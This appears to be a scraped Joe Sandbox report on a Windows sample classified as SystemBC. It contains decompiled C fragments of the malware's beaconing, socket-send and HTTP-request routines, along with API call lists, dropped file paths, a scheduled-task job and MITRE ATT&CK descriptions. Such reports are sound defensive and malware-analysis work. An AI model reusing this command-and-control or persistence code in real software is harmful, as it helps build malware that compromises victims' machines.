Opcode Fuzzy Hash: c95945b4ea4b892c9ccea1685e0d4e81c8f7c73a01b14d1460add4aded233223
Instruction Fuzzy Hash: 0A413DF290011CBADB21AA91CD45FEE77BCAB44308F5044BAB705B20C1E7749F859B6C

Uniqueness

Uniqueness Score: -1.00%

Function 0040490E Relevance: 6.1, APIs: 4, Instructions: 61
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040490E() {
				char _v402;
				intOrPtr _v412;
				char _v420;
				intOrPtr _v424;
				char _v436;
				char _v440;
				char* _t21;
				intOrPtr _t27;
				signed int _t31;
				void* _t33;
				void* _t34;

				E004066D2( &_v440, _t33 - _t34);
				goto L1;
				L3:
				L3:
				if(_v412 == 0) {
					_t38 = _v440;
					if(_v440 == 0) {
						L004071F6();
						_v440 = _t27;
					}
				}
				_t27 = E00404E45(_t31, _t38, _v412, _v424);
				if(_t27 != 0) {
					goto L14;
				}
				while(_v412 != 0) {
					__eflags = _v412 - 0x409010;
					if(__eflags == 0) {
						_v412 = 0x409043;
						L13:
						goto L3;
					}
					_v412 = 0;
					_t27 = 0;
					__eflags = 0;
					asm("repe scasb");
					if(0 == 0) {
						continue;
					}
					goto L13;
				}
				_v412 = 0x409010;
				goto L13;
				L14:
				Sleep(0x2bf20);
				goto L3;
				L1:
				Sleep(0x2710);
				_t21 =  &_v402;
				_push(_t21);
				_push(0x202);
				L0040714E();
				if(_t21 != 0) {
					goto L1;
				} else {
					_v412 = 0x409010;
					E004066E9(0x409076, 0xffffffff,  &_v420);
					_v424 = E00406663( &_v420);
					_t27 = E004066E9(0x409080, 0xa,  &_v436);
					goto L3;
				}
			}

0x00404922
0x00404922
0x00000000
0x00404988
0x0040498f
0x00404991
0x00404998
0x0040499a
0x0040499f
0x0040499f
0x00404998
0x004049b1
0x004049b8
0x00000000
0x00000000
0x004049ba
0x004049cf
0x004049d9
0x004049f8
0x00404a02
0x00000000
0x00404a02
0x004049db
0x004049eb
0x004049eb
0x004049f2
0x004049f4
0x00000000
0x00000000
0x00000000
0x004049f6
0x004049c3
0x00000000
0x00404a04
0x00404a09
0x00000000
0x00404927
0x0040492c
0x00404931
0x00404937
0x00404938
0x0040493d
0x00404944
0x00000000
0x00404946
0x00404946
0x0040495e
0x0040496f
0x00404983
0x00000000
0x00404983

APIs

Sleep.KERNEL32(00002710,?), ref: 0040492C
WSAStartup.WSOCK32(00000202,?,00002710,?), ref: 0040493D
InitSecurityInterfaceA.SECUR32(0002BF20,?,?,00409080,0000000A,?,?,00409076,000000FF,?,00000202,?,00002710,?), ref: 0040499A
Sleep.KERNEL32(0002BF20,?,?,00409080,0000000A,?,?,00409076,000000FF,?,00000202,?,00002710,?), ref: 00404A09

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Sleep$InitInterfaceSecurityStartup
String ID:
API String ID: 3734495323-0
Opcode ID: 71723e124fca48b28b3612ebc5a364367969b117390cce892358d302deb684e0
Instruction ID: 67c9d3a234dc958c668ef25af7fc1d8218e846a58c6cf8f5c7768994ce5c23a6
Opcode Fuzzy Hash: 71723e124fca48b28b3612ebc5a364367969b117390cce892358d302deb684e0
Instruction Fuzzy Hash: 4A2192B09042189ADF209B648D46BEAB278AF45304F1001FBA709B51C2DBBC4EC48F1B

Uniqueness

Uniqueness Score: -1.00%

Function 004062FA Relevance: 6.1, APIs: 4, Instructions: 53
synchronizationnetworkCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E004062FA(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				char _v8;
				char _v28;
				char* _t20;
				intOrPtr _t24;

				_v8 = 0xa;
				if(_a16 != 0) {
					WaitForSingleObject(_a16, 0xffffffff);
				}
				_t24 = _a8;
				while(_a12 != 0) {
					E00406698(_a4, 0,  &_v28, 0, 0);
					_push(0);
					_push(0);
					_t20 =  &_v28;
					_push(_t20);
					_push(0);
					_push(0);
					L0040717E();
					if(_t20 == 1) {
						_push(0);
						_push(_a12);
						_push(_t24);
						_push(_a4);
						L00407184();
						if(_t20 > 0) {
							_a12 = _a12 - _t20;
							_t24 = _t24 + _t20;
							_t12 =  &_v8;
							 *_t12 = _v8 - 1;
							if( *_t12 != 0) {
								continue;
							}
						}
					}
					break;
				}
				if(_a16 != 0) {
					SetEvent(_a16);
				}
				return _a12;
			}

0x00406303
0x0040630e
0x00406315
0x00406315
0x0040631a
0x00406363
0x0040632c
0x00406331
0x00406333
0x00406335
0x00406338
0x00406339
0x0040633b
0x0040633d
0x00406345
0x00406347
0x00406349
0x0040634c
0x0040634d
0x00406350
0x00406357
0x00406359
0x0040635c
0x0040635e
0x0040635e
0x00406361
0x00000000
0x00000000
0x00406361
0x00406357
0x00000000
0x00406345
0x0040636d
0x00406372
0x00406372
0x0040637e

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00406315
select.WSOCK32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 0040633D
send.WSOCK32(?,?,?,00000000,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?), ref: 00406350
SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 00406372

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: EventObjectSingleWaitselectsend
String ID:
API String ID: 3746265427-0
Opcode ID: 98f11bb09f3b93e626448c475974db9ab6e3e0f3ab6bb93f52fe6e657960d5a4
Instruction ID: 19284923bb4e021495b0ddac013d5bc273f4250205a3c6971fa947f4f7757753
Opcode Fuzzy Hash: 98f11bb09f3b93e626448c475974db9ab6e3e0f3ab6bb93f52fe6e657960d5a4
Instruction Fuzzy Hash: 0F115B3154020AABEF209E55CC06FEB3768BB00315F11453ABE11B92D1C7B9A960CBEA

Uniqueness

Uniqueness Score: -1.00%

Function 00402A45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00402A45(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				char _v1072;
				char _v1076;
				char _v1080;
				char _v1084;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __eflags;
				E004066D2( &_v1084,  &_v16 - _t59);
				E004048E1(_a16);
				if(E00402765(__edx, _t61,  &_v8, _a4, _a8, 0xa) != 0) {
					_t40 = E004062FA(_v8,  &_v1072, wsprintfA( &_v1072, "GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\r\nConnection: close\r\n\r\n", _a12, _a4), 0);
					_t58 = 0;
					while(_t58 <= 0x400) {
						_t13 =  &_v1072; // -1068
						_t40 = E004063CD(__eflags, _v8, _t58 + _t13, 1, 0xa);
						__eflags = _t40 - 1;
						if(_t40 == 1) {
							_t58 = _t58 + 1;
							__eflags = _t58 - 4;
							if(__eflags < 0) {
								continue;
							} else {
								__eflags =  *[ss:edi+ebp-0x430] - 0xa0d0a0d;
								if(__eflags != 0) {
									continue;
								} else {
									while(1) {
										_push( &_v1076);
										_push(0x4004667f);
										_push(_v8);
										L00407172();
										__eflags = _v1076;
										if(_v1076 == 0) {
											_v1076 = 0x1000;
										}
										_t40 = E00404878( &_v1080, _v1084, _v1076 + _v1084);
										__eflags = _t40;
										if(_t40 == 0) {
											goto L14;
										}
										while(1) {
											__eflags = _v1076;
											if(__eflags == 0) {
												break;
											}
											_t40 = E004063CD(__eflags, _v8, _v1080 + _v1084, _v1076, 0xa);
											__eflags = _t40;
											if(_t40 > 0) {
												_v1084 = _v1084 + _t40;
												_t29 =  &_v1076;
												 *_t29 = _v1076 - _t40;
												__eflags =  *_t29;
												continue;
											}
											goto L14;
										}
									}
								}
							}
						}
						goto L14;
					}
				}
				L14:
				E004064B7(_t40, _v8);
				E0040664B( &_v1080, _a16, 4);
				return _v1084;
			}

0x00402a45
0x00402a5c
0x00402a64
0x00402a7c
0x00402aa9
0x00402aae
0x00402b75
0x00402ab9
0x00402ac4
0x00402ac9
0x00402acc
0x00402ad2
0x00402ad3
0x00402ad6
0x00000000
0x00402adc
0x00402adc
0x00402ae8
0x00000000
0x00000000
0x00402aee
0x00402af4
0x00402af5
0x00402afa
0x00402afd
0x00402b02
0x00402b09
0x00402b0b
0x00402b0b
0x00402b2f
0x00402b34
0x00402b36
0x00000000
0x00000000
0x00402b67
0x00402b67
0x00402b6e
0x00000000
0x00000000
0x00402b52
0x00402b57
0x00402b59
0x00402b5b
0x00402b61
0x00402b61
0x00402b61
0x00000000
0x00402b61
0x00000000
0x00402b59
0x00402b70
0x00402aee
0x00402ae8
0x00402ad6
0x00000000
0x00402acc
0x00402b75
0x00402b81
0x00402b84
0x00402b95
0x00402ba4

APIs

Part of subcall function 004048E1: VirtualFree.KERNEL32(?,00000000,00008000,?,?,000000C7,?,00405802,?,?,?,?,?,?,00000000,00000006), ref: 004048F8

Part of subcall function 00402765: socket.WSOCK32(00000002,00000001,00000006,?,?,?,?,00000003), ref: 00402787
Part of subcall function 00402765: setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,?,00000004,00000002,00000001,00000006,?,?,?,?,00000003), ref: 004027B7
Part of subcall function 00402765: inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004), ref: 004027FA
Part of subcall function 00402765: htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?), ref: 0040281B
Part of subcall function 00402765: ioctlsocket.WSOCK32(?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?), ref: 00402843
Part of subcall function 00402765: connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?), ref: 00402851
Part of subcall function 00402765: select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010,?,8004667E,?), ref: 00402877
Part of subcall function 00402765: ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010), ref: 0040289A

wsprintfA.USER32 ref: 00402A94

Part of subcall function 004062FA: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00406315
Part of subcall function 004062FA: SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 00406372

ioctlsocket.WSOCK32(?,4004667F,?), ref: 00402AFD

Strings

GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close, xrefs: 00402A88

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: ioctlsocket$EventFreeObjectSingleVirtualWaitconnecthtonsinet_addrselectsetsockoptsocketwsprintf
String ID: GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
API String ID: 2667627932-3041754183
Opcode ID: c519f40087b61c8c09e90ab7eab3044290cf3230762dea64b974e032bef64f1e
Instruction ID: 595c3d9a09f59ec12dd5ce587d2472663833f294b73f30c898c999aa767493f9
Opcode Fuzzy Hash: c519f40087b61c8c09e90ab7eab3044290cf3230762dea64b974e032bef64f1e
Instruction Fuzzy Hash: 1A3161B1D00218AADF21AE65CD86FDE7378AB44318F4011B6BA09B10D1D779AF94DF1D

Uniqueness

Uniqueness Score: -1.00%

Function 00676CF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,40000000,00000000,00000000,?,00000080,00000000,?,?), ref: 00676D1A
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080), ref: 00676D5E

Strings

d, xrefs: 00676CFD

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: d
API String ID: 3498533004-2564639436
Opcode ID: 6e50d3a25c05377f6ab5a05f454e07e7ca2839e05d34e7005a04afe9d65ec923
Instruction ID: 4a22902a13122b269bcd53e4898f5dab7c03300928481e491fb2da9182f3d500
Opcode Fuzzy Hash: 6e50d3a25c05377f6ab5a05f454e07e7ca2839e05d34e7005a04afe9d65ec923
Instruction Fuzzy Hash: 1D01F631A50608FADF219FA4DC46FDE7B36AF00724F208265F624741E1D7B16A60EB98

Uniqueness

Uniqueness Score: -1.00%

Function 00406474 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406474(intOrPtr* _a4, intOrPtr* _a8, intOrPtr _a12) {
				void* _t7;
				intOrPtr* _t9;
				intOrPtr* _t10;

				_t10 = _a4;
				if( *_t10 != 0 ||  *((intOrPtr*)(_t10 + 4)) != 0) {
					_push(_t10);
					L004071D2();
				}
				_t9 = _a8;
				if( *_t9 != 0 ||  *((intOrPtr*)(_t9 + 4)) != 0) {
					_push(_t9);
					L004071E4();
				}
				if(_a12 != 0) {
					return E004064B7(_t7, _a12);
				}
				return _t7;
			}

0x0040647a
0x00406480
0x00406488
0x00406489
0x00406489
0x0040648e
0x00406494
0x0040649c
0x0040649d
0x0040649d
0x004064a6
0x00000000
0x004064ab
0x004064b4

APIs

DeleteSecurityContext.SECUR32(?,?,orvsmwx,00000003,?,004057C6,?,?,?,?,00000000,00000006,?,00000000,00000002,00000000), ref: 00406489
FreeCredentialsHandle.SECUR32(?,?,?,orvsmwx,00000003,?,004057C6,?,?,?,?,00000000,00000006,?,00000000,00000002), ref: 0040649D

Strings

orvsmwx, xrefs: 00406478

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: ContextCredentialsDeleteFreeHandleSecurity
String ID: orvsmwx
API String ID: 4037185482-3620674537
Opcode ID: c4704e1dfcb5a0f8468d6a37cc87ed677983547eb0f0d279c3c131e5742a891e
Instruction ID: fe625ff1ef3543bbf82bf0272f0b0363299bd1eea17b1a14b6a0b9b489f8df7e
Opcode Fuzzy Hash: c4704e1dfcb5a0f8468d6a37cc87ed677983547eb0f0d279c3c131e5742a891e
Instruction Fuzzy Hash: 3EF06D31400209EFDB215E09CC04B9F73A9AB41329F05C43BF816362C083BCADB0CAAE

Uniqueness

Uniqueness Score: -1.00%

Function 00676372 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000,orvsmwx), ref: 00677237

Strings

orvsmwx, xrefs: 00676391
J, xrefs: 00676378

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: J$orvsmwx
API String ID: 621844428-2586457356
Opcode ID: 1339a018b85b2b9e57f908d7aa3179d9432ac81887f2cc1ddeb02ef56bc30cd7
Instruction ID: 9f6e0e94eb55f68cd34f818517d0e379be91659793412c8c51e2cd8112b6b6f4
Opcode Fuzzy Hash: 1339a018b85b2b9e57f908d7aa3179d9432ac81887f2cc1ddeb02ef56bc30cd7
Instruction Fuzzy Hash: C5E04831208308BADF412F95DC06A9A3B57DF41365F10D03AF53D24053CA715561BB6A

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Network protocol analysis
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report p9CvI6kq7d.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: SystemBC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\prfxiau\orvsmwx.exe

C:\ProgramData\prfxiau\orvsmwx.exe:Zone.Identifier

C:\Windows\Tasks\orvsmwx.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
p9CvI6kq7d.exe

Function 00401000 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100
sleepfilesynchronizationCOMMON

Function 00405832 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 241
timecomCOMMON

Function 00405C22 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 86
processCOMMON

Function 0067092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Function 00412E19 Relevance: 37.7, APIs: 25, Instructions: 224
stringthreadtimeCOMMON

Function 00406004 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 78
windowregistryCOMMON

Function 004061E1 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 66
memoryCOMMON

Function 0067003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 00406122 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25
networkCOMMON

Function 00405D44 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49
COMMON

Function 00405B81 Relevance: 4.6, APIs: 3, Instructions: 57
comCOMMON

Function 00412B1C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16
memoryCOMMON

Function 00670DF8 Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 00670920 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 00412B06 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Function 00401168 Relevance: 106.4, APIs: 16, Strings: 44, Instructions: 1413
encryptionCOMMON

Function 00403B56 Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 195
encryptionCOMMON

Function 00404A1A Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 333
networkCOMMON

Function 00404065 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 98
encryptionCOMMON

Function 00401D6D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77
encryptionCOMMON

Function 00404484 Relevance: 4.6, APIs: 3, Instructions: 102
memorywindowCOMMON

Function 00403E30 Relevance: 4.5, APIs: 3, Instructions: 44
encryptionCOMMON

Function 004045B9 Relevance: 3.1, APIs: 2, Instructions: 148
memorywindowCOMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

